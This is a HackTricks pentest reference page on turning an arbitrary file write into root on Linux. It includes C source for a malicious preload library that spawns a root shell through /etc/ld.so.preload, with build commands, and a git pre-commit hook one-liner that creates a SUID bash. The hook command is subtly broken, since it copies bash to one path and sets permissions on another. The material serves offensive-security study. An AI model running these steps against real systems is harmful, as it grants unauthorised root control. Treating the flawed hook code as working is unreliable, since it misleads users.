hacktricks/linux-hardening/privilege-escalation/write-to-root.md

# Arbitrary File Write to Root

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### /etc/ld.so.preload

This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.

For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```

### Git hooks

[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.

For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:

{% code overflow="wrap" %}
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
{% endcode %}

### Cron & Time files

TODO

### Service & Socket files

TODO

### binfmt\_misc

The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.

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